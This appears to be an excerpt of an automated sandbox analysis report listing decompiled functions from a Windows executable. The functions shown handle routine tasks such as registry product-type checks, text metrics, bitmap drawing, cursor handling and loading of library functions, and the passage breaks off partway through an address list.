			E0047A3CC(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _v8;
				char _v12;
				intOrPtr _t34;
				void* _t43;

				_v12 = 0;
				_push(_t43);
				_push(0x47a484);
				_push( *[fs:eax]);
				 *[fs:eax] = _t43 + 0xfffffff8;
				if(E0042DC1C(0, "System\\CurrentControlSet\\Control\\ProductOptions", 0x80000002,  &_v8, 1, 0) != 0) {
					L9:
					_pop(_t34);
					 *[fs:eax] = _t34;
					_push(E0047A48B);
					return E00403418( &_v12);
				}
				if(E0042DB4C() != 0) {
					if(E00406A24(_v12, 0x47a4d8) != 0) {
						if(E00406A24(_v12, "LanmanNT") != 0) {
							if(E00406A24(_v12, "ServerNT") == 0) {
								 *0x490246 = 3;
							}
						} else {
							 *0x490246 = 2;
						}
					} else {
						 *0x490246 = 1;
					}
				}
				RegCloseKey(_v8);
				goto L9;
			}

0x0047a3d7
0x0047a3dc
0x0047a3dd
0x0047a3e2
0x0047a3e5
0x0047a403
0x0047a46e
0x0047a470
0x0047a473
0x0047a476
0x0047a483
0x0047a483
0x0047a417
0x0047a428
0x0047a442
0x0047a45c
0x0047a45e
0x0047a45e
0x0047a444
0x0047a444
0x0047a444
0x0047a42a
0x0047a42a
0x0047a42a
0x0047a428
0x0047a469
0x00000000

APIs

Part of subcall function 0042DC1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047A343,?,00000001,?,?,0047A343,?,00000001,00000000), ref: 0042DC38

RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,0047A484), ref: 0047A469

Strings

ProductType, xrefs: 0047A408
LanmanNT, xrefs: 0047A433
System\CurrentControlSet\Control\ProductOptions, xrefs: 0047A3F0
ServerNT, xrefs: 0047A44D
WinNT, xrefs: 0047A419

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CloseOpen
String ID: LanmanNT$ProductType$ServerNT$System\CurrentControlSet\Control\ProductOptions$WinNT
API String ID: 47109696-2530820420
Opcode ID: 1fef1506e5d1a12a21068b78d04b25ddfd496f50cdf7c150aefa2c62348cd093
Instruction ID: a2e0432ed80f51b3df372a94479d53eea4c9ed601dce61c5aff662378490294f
Opcode Fuzzy Hash: 1fef1506e5d1a12a21068b78d04b25ddfd496f50cdf7c150aefa2c62348cd093
Instruction Fuzzy Hash: CA118130704204AEDB10DB65C849B9E7BE8DB85704F61C076A408E7282D7BE9D21871B

Uniqueness

Uniqueness Score: -1.00%

Function 0048A854 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E0048A854(struct HDC__* __eax, void* __ebx, long* __ecx, signed int* __edx, void* __edi, void* __esi, void* __eflags) {
				struct HDC__* _v8;
				struct tagSIZE _v16;
				struct tagTEXTMETRICA _v72;
				signed int _t25;
				signed int _t26;
				struct HDC__* _t32;
				intOrPtr _t41;
				long* _t43;
				signed int* _t45;
				void* _t48;

				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t43 = __ecx;
				_t45 = __edx;
				_push(0);
				L00405F1C();
				_v8 = __eax;
				_push(_t48);
				_push(0x48a8e0);
				_push( *[fs:eax]);
				 *[fs:eax] = _t48 + 0xffffffbc;
				SelectObject(_v8, E0041A1CC(__eax, __eax, __ecx, __ecx, __edx));
				GetTextExtentPointA(_v8, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", 0x34,  &_v16);
				asm("cdq");
				_t25 = _v16.cx / 0x1a + 1;
				_t26 = _t25 >> 1;
				if(_t25 < 0) {
					asm("adc eax, 0x0");
				}
				 *_t45 = _t26;
				GetTextMetricsA(_v8,  &_v72);
				 *_t43 = _v72.tmHeight;
				_pop(_t41);
				 *[fs:eax] = _t41;
				_push(E0048A8E7);
				_t32 = _v8;
				_push(_t32);
				_push(0);
				L00406104();
				return _t32;
			}

0x0048a85a
0x0048a85b
0x0048a85c
0x0048a85d
0x0048a85f
0x0048a863
0x0048a865
0x0048a86a
0x0048a86f
0x0048a870
0x0048a875
0x0048a878
0x0048a887
0x0048a89b
0x0048a8a8
0x0048a8ab
0x0048a8ac
0x0048a8ae
0x0048a8b0
0x0048a8b0
0x0048a8b3
0x0048a8bd
0x0048a8c5
0x0048a8c9
0x0048a8cc
0x0048a8cf
0x0048a8d4
0x0048a8d7
0x0048a8d8
0x0048a8da
0x0048a8df

APIs

73AFAC50.USER32(00000000,?,?,00000000), ref: 0048A865

Part of subcall function 0041A1CC: CreateFontIndirectA.GDI32(?), ref: 0041A28B

SelectObject.GDI32(00000000,00000000), ref: 0048A887
GetTextExtentPointA.GDI32(00000000,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz,00000034,0048ACF9), ref: 0048A89B
GetTextMetricsA.GDI32(00000000,?), ref: 0048A8BD
73AFB380.USER32(00000000,00000000,0048A8E7,0048A8E0,?,00000000,?,?,00000000), ref: 0048A8DA

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz, xrefs: 0048A892

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Text$B380CreateExtentFontIndirectMetricsObjectPointSelect
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
API String ID: 3658053993-222967699
Opcode ID: 4756dc58a9fe183d04f72d5ee01b99ae46f4153cc6129f91c9988a1bf38743aa
Instruction ID: e3ebea077dd3416d839fa67d6eeb2523a561f2e9e35b0c3e0d5cf9c988656d13
Opcode Fuzzy Hash: 4756dc58a9fe183d04f72d5ee01b99ae46f4153cc6129f91c9988a1bf38743aa
Instruction Fuzzy Hash: 71016575A04604BFEB00EBA5CC41E5EB7FCDB48704F510476B500E7281D678AD118B29

Uniqueness

Uniqueness Score: -1.00%

Function 0041B446 Relevance: 10.6, APIs: 7, Instructions: 57
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041B446() {
				void* _t40;
				void* _t43;
				void* _t44;

				if( *(_t44 - 0x10) != 0) {
					_t40 = SelectObject( *(_t44 - 0x18),  *(_t44 - 4));
					_t43 = SelectObject( *(_t44 - 0x1c),  *(_t44 - 0x10));
					StretchBlt( *(_t44 - 0x1c), 0, 0,  *(_t44 - 0xc),  *(_t44 - 8),  *(_t44 - 0x18), 0, 0,  *(_t44 - 0x30),  *(_t44 - 0x2c), 0xcc0020);
					if(_t40 != 0) {
						SelectObject( *(_t44 - 0x18), _t40);
					}
					if(_t43 != 0) {
						SelectObject( *(_t44 - 0x1c), _t43);
					}
				}
				DeleteDC( *(_t44 - 0x18));
				DeleteDC( *(_t44 - 0x1c));
				return  *(_t44 - 0x10);
			}

0x0041b44a
0x0041b459
0x0041b468
0x0041b48f
0x0041b496
0x0041b49d
0x0041b49d
0x0041b4a4
0x0041b4ab
0x0041b4ab
0x0041b4a4
0x0041b4b4
0x0041b4bd
0x0041b4cb

APIs

SelectObject.GDI32(00000000,?), ref: 0041B454
SelectObject.GDI32(?,00000000), ref: 0041B463
StretchBlt.GDI32(?,00000000,00000000,0000000B,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0041B48F
SelectObject.GDI32(00000000,00000000), ref: 0041B49D
SelectObject.GDI32(?,00000000), ref: 0041B4AB
DeleteDC.GDI32(00000000), ref: 0041B4B4
DeleteDC.GDI32(?), ref: 0041B4BD

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ObjectSelect$Delete$Stretch
String ID:
API String ID: 1458357782-0
Opcode ID: 76ed21a8a123110952df31ef417d2be93a42c5a11e27bac9dd0fe5ee96d695dd
Instruction ID: 994e7a73776f87c2a3f7ecab1024ea940e5cb60cd1c9c7467d7489c24c33dad8
Opcode Fuzzy Hash: 76ed21a8a123110952df31ef417d2be93a42c5a11e27bac9dd0fe5ee96d695dd
Instruction Fuzzy Hash: 4B114F72E00519ABDF10E6D9D885FAFB7BCEF48714F148456B614F7241C678A8418BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00423378 Relevance: 10.6, APIs: 7, Instructions: 56
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00423378(long __eax, short __edx) {
				struct tagPOINT _v24;
				long _t7;
				long _t12;
				long _t19;
				struct HWND__* _t26;
				short _t27;
				void* _t29;
				struct tagPOINT* _t30;

				_t7 = __eax;
				_t30 = _t29 + 0xfffffff8;
				_t27 = __edx;
				_t19 = __eax;
				if(__edx !=  *((intOrPtr*)(__eax + 0x28))) {
					 *((short*)(__eax + 0x28)) = __edx;
					if(__edx != 0) {
						L5:
						_t7 = SetCursor(E00423350(_t19, _t27));
					} else {
						GetCursorPos(_t30);
						_push(_v24.y);
						_t26 = WindowFromPoint(_v24);
						if(_t26 == 0) {
							goto L5;
						} else {
							_t12 = GetWindowThreadProcessId(_t26, 0);
							if(_t12 != GetCurrentThreadId()) {
								goto L5;
							} else {
								_t7 = SendMessageA(_t26, 0x20, _t26, E00406254(SendMessageA(_t26, 0x84, _v24, _v24.y), 0x200));
							}
						}
					}
				}
				return _t7;
			}

0x00423378
0x0042337c
0x0042337f
0x00423381
0x00423387
0x00423389
0x00423390
0x004233ec
0x004233f7
0x00423392
0x00423393
0x00423398
0x004233a5
0x004233a9
0x00000000
0x004233ab
0x004233ae
0x004233bc
0x00000000
0x004233be
0x004233e5
0x004233e5
0x004233bc
0x004233a9
0x00423390
0x00423402

APIs

GetCursorPos.USER32 ref: 00423393
WindowFromPoint.USER32(?,?), ref: 004233A0
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 004233AE
GetCurrentThreadId.KERNEL32 ref: 004233B5
SendMessageA.USER32(00000000,00000084,?,?), ref: 004233CE
SendMessageA.USER32(00000000,00000020,00000000,00000000), ref: 004233E5
SetCursor.USER32(00000000), ref: 004233F7

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CursorMessageSendThreadWindow$CurrentFromPointProcess
String ID:
API String ID: 1770779139-0
Opcode ID: a2b35a0324aed1c1a1aef43f706cca7a9ce9ecf772cb636310864d83fdb03995
Instruction ID: 8aa5c5465bd0a6766889fd83bcb534b45e50c720898f7b77a1b4925485ae0e05
Opcode Fuzzy Hash: a2b35a0324aed1c1a1aef43f706cca7a9ce9ecf772cb636310864d83fdb03995
Instruction Fuzzy Hash: BE01712230421026D621BA795C86E6F26A8DFC5B55F51413FB905AA292D93E8D10A36D

Uniqueness

Uniqueness Score: -1.00%

Function 0048A678 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 47
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E0048A678(void* __eax, void* __edx) {
				void _v52;
				void* _t9;
				struct HINSTANCE__* _t12;
				intOrPtr* _t13;
				void* _t18;
				intOrPtr* _t22;
				void* _t25;
				intOrPtr* _t26;

				_t18 = __edx;
				_t25 = __eax;
				_t12 = GetModuleHandleA("user32.dll");
				_t22 = GetProcAddress(_t12, "MonitorFromRect");
				_t13 = GetProcAddress(_t12, "GetMonitorInfoA");
				if(_t22 == 0 || _t13 == 0) {
					L4:
					return E0048A640(1, _t18);
				} else {
					_t9 =  *_t22(_t25, 2);
					 *_t26 = 0x28;
					_push(_t26);
					_push(_t9);
					if( *_t13() == 0) {
						goto L4;
					}
					_push(_t18);
					return memcpy(_t18,  &_v52, 4 << 2);
				}
			}

0x0048a67f
0x0048a681
0x0048a68d
0x0048a69a
0x0048a6a7
0x0048a6ab
0x0048a6d6
0x00000000
0x0048a6b1
0x0048a6b4
0x0048a6b8
0x0048a6bf
0x0048a6c0
0x0048a6c5
0x00000000
0x00000000
0x0048a6c7
0x00000000
0x0048a6d3

APIs

GetModuleHandleA.KERNEL32(user32.dll), ref: 0048A688
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 0048A695
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0048A6A2

Strings

user32.dll, xrefs: 0048A683
GetMonitorInfoA, xrefs: 0048A69C
MonitorFromRect, xrefs: 0048A68F

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetMonitorInfoA$MonitorFromRect$user32.dll
API String ID: 667068680-2254406584
Opcode ID: 6f680d3e4fe8c221cc39eca69a0bb860841f777a75b84e59e3920273577f0424
Instruction ID: 2fe08d3e4f174900d65476131225eed9468d2df8f654637943b42e84ff0c3ea0
Opcode Fuzzy Hash: 6f680d3e4fe8c221cc39eca69a0bb860841f777a75b84e59e3920273577f0424
Instruction Fuzzy Hash: 31F0C256A0161527E62035660C41A7F618CDB817E4F180937BD84B6286F9DD8D2053EE

Uniqueness

Uniqueness Score: -1.00%

Function 0045A560 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 33
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0045A560(struct HINSTANCE__* __eax) {
				intOrPtr _t5;
				struct HINSTANCE__* _t6;

				_t6 = __eax;
				 *0x48ff2c = GetProcAddress(__eax, "BZ2_bzDecompressInit");
				 *0x48ff30 = GetProcAddress(_t6, "BZ2_bzDecompress");
				 *0x48ff34 = GetProcAddress(_t6, "BZ2_bzDecompressEnd");
				if( *0x48ff2c == 0 ||  *0x48ff30 == 0 ||  *0x48ff34 == 0) {
					_t5 = 0;
				} else {
					_t5 = 1;
				}
				if(_t5 == 0) {
					 *0x48ff2c = 0;
					 *0x48ff30 = 0;
					 *0x48ff34 = 0;
					return _t5;
				}
				return _t5;
			}

0x0045a561
0x0045a56e
0x0045a57e
0x0045a58e
0x0045a59a
0x0045a5ae
0x0045a5b2
0x0045a5b2
0x0045a5b2
0x0045a5b6
0x0045a5ba
0x0045a5c2
0x0045a5ca
0x00000000
0x0045a5ca
0x0045a5d1

APIs

GetProcAddress.KERNEL32(00000000,BZ2_bzDecompressInit), ref: 0045A569
GetProcAddress.KERNEL32(00000000,BZ2_bzDecompress), ref: 0045A579
GetProcAddress.KERNEL32(00000000,BZ2_bzDecompressEnd), ref: 0045A589

Strings

BZ2_bzDecompress, xrefs: 0045A573
BZ2_bzDecompressInit, xrefs: 0045A563
BZ2_bzDecompressEnd, xrefs: 0045A583

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressProc
String ID: BZ2_bzDecompress$BZ2_bzDecompressEnd$BZ2_bzDecompressInit
API String ID: 190572456-212574377
Opcode ID: 2811038c06c80202a4e2c5c8568d90add12c267d83fa08c9b71317a329bacf2d
Instruction ID: 1ed4d4c54b1ba48841aa55af7a4f99cdb235e4f9ee6f071a283307d68983f4a2
Opcode Fuzzy Hash: 2811038c06c80202a4e2c5c8568d90add12c267d83fa08c9b71317a329bacf2d
Instruction Fuzzy Hash: B1F062B0511208ABDB04DF765C40B2A32A5A74A316F009A3F9F0185273E73C045DCF1D

Uniqueness

Uniqueness Score: -1.00%

Function 0044BA2C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E0044BA2C() {
				signed int _t1;
				struct HINSTANCE__* _t7;

				if( *0x48f748 == 0) {
					_t7 = LoadLibraryA("oleacc.dll");
					if(_t7 != 0) {
						 *0x48f750 = GetProcAddress(_t7, "LresultFromObject");
						 *0x48f754 = GetProcAddress(_t7, "CreateStdAccessibleObject");
						if( *0x48f750 != 0 &&  *0x48f754 != 0) {
							 *0x48f74c = 1;
						}
					}
					 *0x48f748 = 1;
				}
				_t1 =  *0x48f74c; // 0x0
				asm("sbb eax, eax");
				return  ~( ~_t1);
			}

0x0044ba34
0x0044ba40
0x0044ba44
0x0044ba51
0x0044ba61
0x0044ba6d
0x0044ba78
0x0044ba78
0x0044ba6d
0x0044ba82
0x0044ba82
0x0044ba8c
0x0044ba93
0x0044ba98

APIs

LoadLibraryA.KERNEL32(oleacc.dll,?,0044E4C1), ref: 0044BA3B
GetProcAddress.KERNEL32(00000000,LresultFromObject), ref: 0044BA4C
GetProcAddress.KERNEL32(00000000,CreateStdAccessibleObject), ref: 0044BA5C

Strings

CreateStdAccessibleObject, xrefs: 0044BA56
LresultFromObject, xrefs: 0044BA46
oleacc.dll, xrefs: 0044BA36

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateStdAccessibleObject$LresultFromObject$oleacc.dll
API String ID: 2238633743-1050967733
Opcode ID: d17a52c6d14db7140e722f235bec08c68fff101c58966aaeb0a431b1741632cd
Instruction ID: 4eab40195bb5edf5191bdb80f64a001ad723898ce6084ed42c13c19343686ec9
Opcode Fuzzy Hash: d17a52c6d14db7140e722f235bec08c68fff101c58966aaeb0a431b1741632cd
Instruction Fuzzy Hash: DFF0ACB02407459AFB20DF65EC95B2A3694E714309F101A3FA441AA6E2E7BD958CCB5C

Uniqueness

Uniqueness Score: -1.00%

Function 0041B650 Relevance: 9.1, APIs: 6, Instructions: 144
windowCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0041B650(intOrPtr* __eax, void* __ebx, intOrPtr* __ecx, intOrPtr* __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr* _v8;
				intOrPtr* _v12;
				signed int _v14;
				struct HWND__* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v36;
				signed int _v44;
				intOrPtr _v62;
				short _v64;
				void _v76;
				intOrPtr _t71;
				intOrPtr _t79;
				intOrPtr _t83;
				intOrPtr _t87;
				void* _t95;
				void* _t108;
				intOrPtr _t113;
				intOrPtr _t116;
				intOrPtr* _t123;
				intOrPtr* _t125;
				void* _t127;
				void* _t128;
				intOrPtr _t129;
				intOrPtr _t130;

				_t117 = __edi;
				_t127 = _t128;
				_t129 = _t128 + 0xffffffb8;
				_push(__edi);
				_v12 = __ecx;
				_v8 = __edx;
				_t123 = __eax;
				_t108 =  &_v76 + 4;
				 *((intOrPtr*)( *__eax))();
				_v76 = _a8;
				if(_v64 != 1) {
					E0041B360();
				}
				_t132 = _v44;
				if(_v44 == 0) {
					_v44 = E0041B4CC(_v62);
				}
				_v14 = _v44 << 2;
				_v32 = E0040693C((_v14 & 0x0000ffff) + 0x28, _t108, _t117, _t132);
				 *[fs:ecx] = _t129;
				_t95 = _v32;
				memcpy(_t95,  &_v76, 0xa << 2);
				_t130 = _t129 + 0xc;
				_t125 = _t123;
				_t121 =  *_t125;
				 *((intOrPtr*)( *_t125))( *[fs:ecx], 0x41b844, _t127);
				 *_v12 = E0041B4EC(_v32);
				_a4 = _a4 - (_v14 & 0x0000ffff) + 0x28;
				_t113 =  *((intOrPtr*)(_t95 + 0x14));
				if(_t113 != 0) {
					_t134 = _t113 - _a4;
					if(_t113 < _a4) {
						_a4 = _t113;
					}
				}
				_v28 = E0040693C(_a4, _t113, _t121, _t134);
				 *[fs:eax] = _t130;
				 *((intOrPtr*)( *_t125))( *[fs:eax], 0x41b820, _t127);
				_v20 = GetFocus();
				_t71 = _v20;
				_push(_t71);
				L00405F1C();
				_v24 = _t71;
				if(_v24 == 0) {
					E0041B378();
				}
				_push(_t127);
				_push(0x41b800);
				_push( *[fs:eax]);
				 *[fs:eax] = _t130;
				if( *_v12 == 0) {
					__eflags = 0;
					_v36 = 0;
				} else {
					_push(0);
					_push( *_v12);
					_t87 = _v24;
					_push(_t87);
					L00405D1C();
					_v36 = _t87;
					_push(_v24);
					L00405CDC();
				}
				_push(_t127);
				_push(0x41b7de);
				_push( *[fs:eax]);
				 *[fs:eax] = _t130;
				_push(0);
				_push(_v32);
				_push(_v28);
				_push(4);
				_push(_v32);
				_t79 = _v24;
				_push(_t79);
				L00405BCC();
				 *_v8 = _t79;
				if( *_v8 == 0) {
					E0041B378();
				}
				_pop(_t116);
				 *[fs:eax] = _t116;
				_push(E0041B7E5);
				if(_v36 == 0) {
					return 0;
				} else {
					_push(0);
					_push(_v36);
					_t83 = _v24;
					_push(_t83);
					L00405D1C();
					return _t83;
				}
			}

0x0041b650
0x0041b651
0x0041b653
0x0041b658
0x0041b659
0x0041b65c
0x0041b65f
0x0041b664
0x0041b670
0x0041b675
0x0041b67d
0x0041b67f
0x0041b67f
0x0041b684
0x0041b688
0x0041b693
0x0041b693
0x0041b69d
0x0041b6ad
0x0041b6bb
0x0041b6be
0x0041b6cc
0x0041b6cc
0x0041b6ce
0x0041b6d8
0x0041b6da
0x0041b6e7
0x0041b6f2
0x0041b6f5
0x0041b6fa
0x0041b6fc
0x0041b6ff
0x0041b701
0x0041b701
0x0041b6ff
0x0041b70c
0x0041b71a
0x0041b727
0x0041b72e
0x0041b731
0x0041b734
0x0041b735
0x0041b73a
0x0041b741
0x0041b743
0x0041b743
0x0041b74a
0x0041b74b
0x0041b750
0x0041b753
0x0041b75c
0x0041b77d
0x0041b77f
0x0041b75e
0x0041b75e
0x0041b765
0x0041b766
0x0041b769
0x0041b76a
0x0041b76f
0x0041b775
0x0041b776
0x0041b776
0x0041b784
0x0041b785
0x0041b78a
0x0041b78d
0x0041b790
0x0041b795
0x0041b799
0x0041b79a
0x0041b79f
0x0041b7a0
0x0041b7a3
0x0041b7a4
0x0041b7ac
0x0041b7b4
0x0041b7b6
0x0041b7b6
0x0041b7bd
0x0041b7c0
0x0041b7c3
0x0041b7cc
0x0041b7dd
0x0041b7ce
0x0041b7ce
0x0041b7d3
0x0041b7d4
0x0041b7d7
0x0041b7d8
0x00000000
0x0041b7d8

APIs

GetFocus.USER32 ref: 0041B729
73AFAC50.USER32(?), ref: 0041B735
73AFB410.GDI32(00000000,?,00000000,00000000,0041B800,?,?), ref: 0041B76A
73AFB150.GDI32(00000000,00000000,?,00000000,00000000,0041B800,?,?), ref: 0041B776
73AFA7F0.GDI32(00000000,?,00000004,?,?,00000000,00000000,0041B7DE,?,00000000,0041B800,?,?), ref: 0041B7A4
73AFB410.GDI32(00000000,00000000,00000000,0041B7E5,?,?,00000000,00000000,0041B7DE,?,00000000,0041B800,?,?), ref: 0041B7D8

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: B410$B150Focus
String ID:
API String ID: 1979529269-0
Opcode ID: 7850deda01d5b67845034907e9d13d0af41ccb4855d62375856d062b51268ed7
Instruction ID: 96a8dcd938646780d77c4975bcb10c0d457760a3c1beb3f6860f1a63d3cb7377
Opcode Fuzzy Hash: 7850deda01d5b67845034907e9d13d0af41ccb4855d62375856d062b51268ed7
Instruction Fuzzy Hash: DB513D70A00608EFCB11DFA9C885AEEBBB8EF49704F114466F510A7390D7789D81CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B920 Relevance: 9.1, APIs: 6, Instructions: 142
windowCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E0041B920(intOrPtr* __eax, void* __ebx, intOrPtr* __ecx, intOrPtr* __edx, void* __edi, void* __esi, intOrPtr _a8) {
				intOrPtr* _v8;
				intOrPtr* _v12;
				signed int _v14;
				struct HWND__* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr* _v32;
				intOrPtr _v36;
				signed int _v40;
				intOrPtr _v42;
				short _v44;
				intOrPtr _v48;
				char _v52;
				intOrPtr* _t65;
				intOrPtr _t73;
				intOrPtr _t80;
				intOrPtr _t84;
				intOrPtr _t88;
				intOrPtr* _t94;
				void* _t104;
				signed int _t110;
				intOrPtr _t116;
				intOrPtr* _t121;
				void* _t124;
				void* _t125;
				intOrPtr _t126;
				signed int _t129;

				_t124 = _t125;
				_t126 = _t125 + 0xffffffd0;
				_push(__edi);
				_v12 = __ecx;
				_v8 = __edx;
				_t121 = __eax;
				_t104 =  &_v52 + 4;
				 *((intOrPtr*)( *__eax))();
				_v52 = _a8;
				_t127 = _v44 - 1;
				if(_v44 != 1) {
					E0041B360();
				}
				_v14 = E0041B4CC(_v42) + _t53 * 2;
				_v32 = E0040693C((_v14 & 0x0000ffff) + 0xf, _t104, _v14 & 0x0000ffff, _t127);
				 *[fs:edx] = _t126;
				_t94 = _v32;
				 *_t94 = _v52;
				 *((intOrPtr*)(_t94 + 4)) = _v48;
				 *((intOrPtr*)(_t94 + 8)) = _v44;
				_t119 =  *_t121;
				 *((intOrPtr*)( *_t121))( *[fs:edx], 0x41bb11, _t124);
				 *_v12 = E0041B854(_v32, _t94 + 0xc, _t127);
				_t65 = _t94;
				_t110 = ( *(_t65 + 4) & 0x0000ffff) * ( *(_t65 + 0xa) & 0x0000ffff) + 0x1f;
				if(_t110 < 0) {
					_t110 = _t110 + 0x1f;
					_t129 = _t110;
				}
				_v40 = (_t110 >> 5 << 2) * ( *(_t65 + 6) & 0x0000ffff);
				_v28 = E0040693C(_v40, (_t110 >> 5 << 2) * ( *(_t65 + 6) & 0x0000ffff), _t119, _t129);
				 *[fs:eax] = _t126;
				 *((intOrPtr*)( *_t121))( *[fs:eax], 0x41baed, _t124);
				_v20 = GetFocus();
				_t73 = _v20;
				_push(_t73);
				L00405F1C();
				_v24 = _t73;
				if(_v24 == 0) {
					E0041B378();
				}
				_push(_t124);
				_push(0x41bacd);
				_push( *[fs:eax]);
				 *[fs:eax] = _t126;
				_v36 = 0;
				if( *_v12 != 0) {
					_push(0);
					_push( *_v12);
					_t88 = _v24;
					_push(_t88);
					L00405D1C();
					_v36 = _t88;
					_push(_v24);
					L00405CDC();
				}
				_push(_t124);
				_push(0x41baab);
				_push( *[fs:eax]);
				 *[fs:eax] = _t126;
				_push(0);
				_push(_v32);
				_push(_v28);
				_push(4);
				_push(_t94);
				_t80 = _v24;
				_push(_t80);
				L00405BCC();
				 *_v8 = _t80;
				if( *_v8 == 0) {
					E0041B378();
				}
				_pop(_t116);
				 *[fs:eax] = _t116;
				_push(E0041BAB2);
				if(_v36 != 0) {
					_push(0);
					_push(_v36);
					_t84 = _v24;
					_push(_t84);
					L00405D1C();
					return _t84;
				}
				return 0;
			}

0x0041b921
0x0041b923
0x0041b928
0x0041b929
0x0041b92c
0x0041b92f
0x0041b934
0x0041b940
0x0041b945
0x0041b948
